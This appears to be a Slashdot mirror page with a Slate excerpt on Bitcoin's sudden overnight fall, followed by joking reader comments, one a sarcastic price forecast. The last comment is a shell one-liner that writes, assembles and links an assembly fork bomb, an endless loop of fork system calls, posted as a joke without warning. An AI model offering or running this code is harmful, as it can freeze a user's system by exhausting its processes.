Slashdot Mirror
Bitcoin's Value Plummeted Overnight and No One Knows Why (slate.com)
Jacob Brogan, writing for Slate: While the Western Hemisphere slept, Bitcoin plummeted. Just after midnight Eastern Time on Friday, the cryptocurrency was valued at a little over $15,000, on the digital currency exchange Coinbase. At that point, it was already well below the $19,783 all-time high it had hit the week before. Over the course of the night, Bitcoin began to decline erratically, occasionally spiking but following a general downward trend. Around 9:22 a.m. Eastern, it hit a temporary floor, valued at a mere $10,400. By that point, it had declined more than $6,000 from its short-term peak the morning before, having lost more than one-third of its value. Bitcoin wasn't the only currency hit by a sharp drop. Tech Crunch's Jon Russell reports that most other prominent cryptocurrencies also fell, including Ethereum, Litecoin, and Bitcoin Cash (which is, confusingly, separate from Bitcoin proper). As Russell notes, it's hard to say why this is happening, "in the same way that nobody knows exactly why bitcoin's price has [shot] up from a touch under $1,000 at the start of the year."
Holy Crap! I am going to blockchain my 3D printed autonomous crypto drones with AI in the agile cloud! It will be bigger than web scale!
Up and up the bitcoin goes,
beats dollar and the rouble.
All at once it drops like shit -
Pop goes the bouble!
Confucius say, "Find worm in apple - bad. Find half a worm - worse."
I don't recall Slashdot having a bit coin story yesterday. Bitcoin felt ignored and wanted to do something to get attention again.
Buy on the dip people! A top economist forecasts one Bitcoin will be worth one hundred million trillion dollars in three months time!
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;